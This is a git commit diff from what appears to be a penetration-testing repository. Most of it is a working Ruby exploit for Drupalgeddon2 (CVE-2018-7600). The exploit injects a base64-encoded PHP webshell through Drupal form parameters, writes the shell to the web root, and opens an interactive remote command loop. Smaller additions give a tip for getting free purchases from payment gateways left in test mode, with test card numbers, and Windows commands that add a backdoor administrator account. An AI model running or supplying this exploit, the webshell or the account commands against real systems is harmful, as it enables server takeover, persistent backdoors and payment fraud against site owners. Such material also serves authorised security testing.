Drupalgeddon2 update + Payment API in Methodology

patch-1
Swissky 2018-04-23 18:41:59 +02:00
parent 39b5e0e122
commit f832022920
3 changed files with 276 additions and 161 deletions

View File

@ -1,6 +1,7 @@
#!/usr/bin/env ruby
#
# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' ~ https://github.com/dreadlocked/Drupalgeddon2/
# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
#
# Authors:
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
# - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
@ -14,11 +15,82 @@ require 'openssl'
require 'readline'
# Proxy information (nil to disable)
# Settings - Proxy information (nil to disable)
proxy_addr = nil
proxy_port = 8080
# Settings - General
$useragent = "drupalgeddon2"
webshell = "s.php"
writeshell = true
# Settings - Payload (we could just be happy without this, but we can do better!)
#bashcmd = "<?php if( isset( $_REQUEST[c] ) ) { eval( $_GET[c]) ); } ?>'
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Function http_post <url> [post]
def http_post(url, payload="")
uri = URI(url)
request = Net::HTTP::Post.new(uri.request_uri)
request.initialize_http_header({"User-Agent" => $useragent})
request.body = payload
return $http.request(request)
end
# Function gen_evil_url <cmd>
def gen_evil_url(evil, feedback=true)
# PHP function to use (don't forget about disabled functions...)
phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru"
#puts "[*] PHP cmd: #{phpmethod}" if feedback
puts "[*] Payload: #{evil}" if feedback
## Check the version to match the payload
# Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
if $drupalverion.start_with?('8')
# Method #1 - Drupal 8, mail, #post_render - response is 200
url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
# Method #2 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
#url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
#payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
elsif $drupalverion.start_with?('7')
# Method #3 - Drupal 7, name, #post_render - response is 200
url = $target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil
payload = "form_id=user_pass&_triggering_element_name=name"
else
puts "[!] Unsupported Drupal version"
exit
end
# Drupal v7 needs an extra value from a form
if $drupalverion.start_with?('7')
response = http_post(url, payload)
form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip
puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty?
#url = $target + "file/ajax/name/%23value/" + form_build_id
url = $target + "?q=file/ajax/name/%23value/" + form_build_id
payload = "form_build_id=" + form_build_id
end
return url, payload
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Quick how to use
if ARGV.empty?
puts "Usage: ruby drupalggedon2.rb <target>"
@ -26,184 +98,211 @@ if ARGV.empty?
exit
end
# Read in values
target = ARGV[0]
$target = ARGV[0]
# Check input for protocol
if not $target.start_with?('http')
$target = "http://#{$target}"
end
# Check input for the end
if not $target.end_with?('/')
$target += "/"
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Banner
puts "[*] --==[::#Drupalggedon2::]==--"
puts "-"*80
# Check input for protocol
if not target.start_with?('http')
target = "http://${target}"
end
# Check input for the end
if not target.end_with?('/')
target += "/"
end
# Payload (we could just be happy with this, but we can do better!)
#evil = '<?php if( isset( $_REQUEST["c"] ) ) { eval( $_GET[c]) ); } ?>'
evil = '<?php if( isset( $_REQUEST["c"] ) ) { system( $_REQUEST["c"] . " 2>&1" ); }'
evil = "echo " + Base64.strict_encode64(evil).strip + " | base64 -d | tee s.php"
# Feedback
puts "[*] Target : #{target}"
puts "[*] Payload: #{evil}"
puts "[*] Target : #{$target}"
puts "[*] Write? : Skipping writing web shell" if not writeshell
puts "-"*80
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Setup connection
uri = URI($target)
$http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
# Use SSL/TLS if needed
if uri.scheme == "https"
$http.use_ssl = true
$http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Try and get version
drupalverion = nil
$drupalverion = nil
# Possible URLs
url = [
target + "CHANGELOG.txt",
target + "core/CHANGELOG.txt",
target + "includes/bootstrap.inc",
target + "core/includes/bootstrap.inc",
$target + "CHANGELOG.txt",
$target + "core/CHANGELOG.txt",
$target + "includes/bootstrap.inc",
$target + "core/includes/bootstrap.inc",
]
# Check all
url.each do|uri|
exploit_uri = URI(uri)
# Check response
http = Net::HTTP.new(exploit_uri.host, exploit_uri.port, proxy_addr, proxy_port)
request = Net::HTTP::Get.new(exploit_uri.request_uri)
response = http.request(request)
response = http_post(uri)
if response.code == "200"
puts "[+] Found : #{uri} (#{response.code})"
# Patched already?
puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002"
drupalverion = response.body.match(/Drupal (.*),/).to_s().slice(/Drupal (.*),/, 1).strip
puts "[+] Drupal!: #{drupalverion}"
# Try and get version from the file contents
$drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
# If not, try and get it from the URL
$drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty?
# Done!
break
elsif response.code == "403"
puts "[+] Found : #{uri} (#{response.code})"
drupalverion = uri.match(/core/)? '8.x' : '7.x'
puts "[+] Drupal?: #{drupalverion}"
# Get version from URL
$drupalverion = uri.match(/core/)? "8.x" : "7.x"
else
puts "[!] MISSING: #{uri} (#{response.code})"
end
end
if not drupalverion
puts "[!] Didn't detect Drupal version"
puts "[!] Forcing Drupal v8.x attack"
drupalverion = "8.x"
end
puts "-"*80
# PHP function to use (don't forget about disabled functions...)
phpmethod = drupalverion.start_with?('8')? 'exec' : 'passthru'
puts "[*] PHP cmd: #{phpmethod}"
puts "-"*80
## Check the version to match the payload
if drupalverion.start_with?('8')
# Method #1 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
#url = target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
#payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
# Method #2 - Drupal 8, mail, #post_render - response is 200
url = target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
# Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
elsif drupalverion.start_with?('7')
# Method #3 - Drupal 7, name, #post_render - response is 200
url = target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil
payload = "form_id=user_pass&_triggering_element_name=name"
else
puts "[!] Unsupported Drupal version"
exit
end
uri = URI(url)
http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
# Use SSL/TLS if needed
if uri.scheme == 'https'
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
# Drupal v7 needs an extra value from a form
if drupalverion.start_with?('7')
req = Net::HTTP::Post.new(uri.request_uri)
req.body = payload
response = http.request(req)
form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).strip
url = target + "file/ajax/name/%23value/" + form_build_id
uri = URI(url)
payload = "form_build_id=" + form_build_id
end
# Make the request
req = Net::HTTP::Post.new(uri.request_uri)
req.body = payload
# Check response
response = http.request(req)
if response.code == "200"
puts "[+] Target seems to be exploitable! w00hooOO!"
#puts "[+] Result: " + JSON.pretty_generate(JSON[response.body])
result = drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
puts "[+] Result: #{result}"
else
puts "[!] Target does NOT seem to be exploitable ~ Response: #{response.code}"
end
puts "-"*80
# Feedback
puts "[*] curl '#{target}s.php' -d 'c=whoami'"
if $drupalverion
status = $drupalverion.end_with?('x')? "?" : "!"
puts "[+] Drupal#{status}: #{$drupalverion}"
else
puts "[!] Didn't detect Drupal version"
puts "[!] Forcing Drupal v8.x attack"
$drupalverion = "8.x"
end
puts "-"*80
# Test to see if backdoor is there
exploit_uri = URI(target + "s.php")
# Check response
http = Net::HTTP.new(exploit_uri.host, exploit_uri.port, proxy_addr, proxy_port)
request = Net::HTTP::Get.new(exploit_uri.request_uri)
response = http.request(request)
if response.code == "200"
puts "[*] Fake shell: "
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Stop any CTRL + C action ;)
trap('INT', 'SIG_IGN')
# Forever loop
loop do
# Get input
command = Readline.readline('drupalgeddon2> ', true)
# Exit
break if command =~ /exit/
# Make a request, testing code execution
puts "[*] Testing: Code Execution"
# Generate a random string to see if we can echo it
random = (0...8).map { (65 + rand(26)).chr }.join
url, payload = gen_evil_url("echo #{random}")
response = http_post(url, payload)
if response.code == "200" and not response.body.empty?
#result = JSON.pretty_generate(JSON[response.body])
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
puts "[+] Result : #{result}"
# Blank link?
next if command.empty?
# Send request
req = Net::HTTP::Post.new(exploit_uri.request_uri)
req.body = "c=#{command}"
puts http.request(req).body
end
puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[+] Target might to be exploitable?"
else
puts "[!] Exploit FAILED ~ Response: #{response.code}"
puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}"
exit
end
puts "-"*80
# Location of web shell & used to signal if using PHP shell
webshellpath = nil
prompt = "drupalgeddon2"
# Possibles paths to try
paths = [
"./",
"./sites/default/",
"./sites/default/files/",
]
# Check all
paths.each do|path|
puts "[*] Testing: File Write To Web Root (#{path})"
# Merge locations
webshellpath = "#{path}#{webshell}"
# Final command to execute
cmd = "#{bashcmd} | tee #{webshellpath}"
# Generate evil URLs
url, payload = gen_evil_url(cmd)
# Make the request
response = http_post(url, payload)
# Check result
if response.code == "200" and not response.body.empty?
# Feedback
#result = JSON.pretty_generate(JSON[response.body])
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
puts "[+] Result : #{result}"
# Test to see if backdoor is there (if we managed to write it)
response = http_post("#{$target}#{webshellpath}", "c=hostname")
if response.code == "200" and not response.body.empty?
puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!"
break
else
puts "[!] Target is NOT exploitable. No write access here!"
end
else
puts "[!] Target is NOT exploitable for some reason ~ HTTP Response: #{response.code}"
end
webshellpath = nil
end if writeshell
puts "-"*80 if writeshell
if webshellpath
# Get hostname for the prompt
prompt = response.body.to_s.strip
# Feedback
puts "[*] Fake shell: curl '#{$target}#{webshell}' -d 'c=whoami'"
elsif writeshell
puts "[!] FAILED: Coudn't find writeable web path"
puts "[*] Dropping back direct commands (expect an ugly shell!)"
end
# Stop any CTRL + C action ;)
trap("INT", "SIG_IGN")
# Forever loop
loop do
# Default value
result = "ERROR"
# Get input
command = Readline.readline("#{prompt}>> ", true).to_s
# Exit
break if command =~ /exit/
# Blank link?
next if command.empty?
# If PHP shell
if webshellpath
# Send request
result = http_post("#{$target}#{webshell}", "c=#{command}").body
# Direct commands
else
url, payload = gen_evil_url(command, false)
response = http_post(url, payload)
if response.code == "200" and not response.body.empty?
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
end
end
# Feedback
puts result
end

View File

@ -276,32 +276,42 @@ then launch Burp with : java -jar burpsuite_free_v*.jar &
```
* Checklist for Web vulns
```
[] AWS Amazon Bucket S3
[] Git Svn insecure files
[] CVE Shellshock Heartbleed
[] Open redirect
[] Traversal directory
[] XSS injection
[] CRLF injection
[] CSRF injection
[] SQL injection
[] NoSQL injection
[] PHP include
[] Upload insecure files
[] SSRF injection
[] XXE injections
[] CSV injection
[] PHP serialization
...
```
```
[] AWS Amazon Bucket S3
[] Git Svn insecure files
[] CVE Shellshock Heartbleed
[] Open redirect
[] Traversal directory
[] XSS injection
[] CRLF injection
[] CSRF injection
[] SQL injection
[] NoSQL injection
[] PHP include
[] Upload insecure files
[] SSRF injection
[] XXE injections
[] CSV injection
[] PHP serialization
...
```
* Subscribe to the site and pay for the additional functionality to test
* Launch a Nikto scan in case you missed something
```
nikto -h http://domain.example.com
```
```
nikto -h http://domain.example.com
```
* Payment functionality - [@gwendallecoguic](https://twitter.com/gwendallecoguic/status/988138794686779392)
> if the webapp you're testing uses an external payment gateway, check the doc to find the test credit numbers, purchase something and if the webapp didn't disable the test mode, it will be free
From https://stripe.com/docs/testing#cards : "Use any of the following test card numbers, a valid expiration date in the future, and any random CVC number, to create a successful payment. Each test card's billing country is set to U.S. "
e.g :
| NUMBER | BRAND |
| :------------- | :------------- |
| 4242424242424242 | Visa |
| 4000056655665556 | Visa (debit) |
| 5555555555554444 | Mastercard |
## Thanks to
* http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/

View File

@ -1,4 +1,10 @@
# Windows - Using credentials
Little tip, if you don't have credentials yet :D
```
net user hacker hacker /add
net localgroup administrators hacker /add
```
## Metasploit - SMB
```c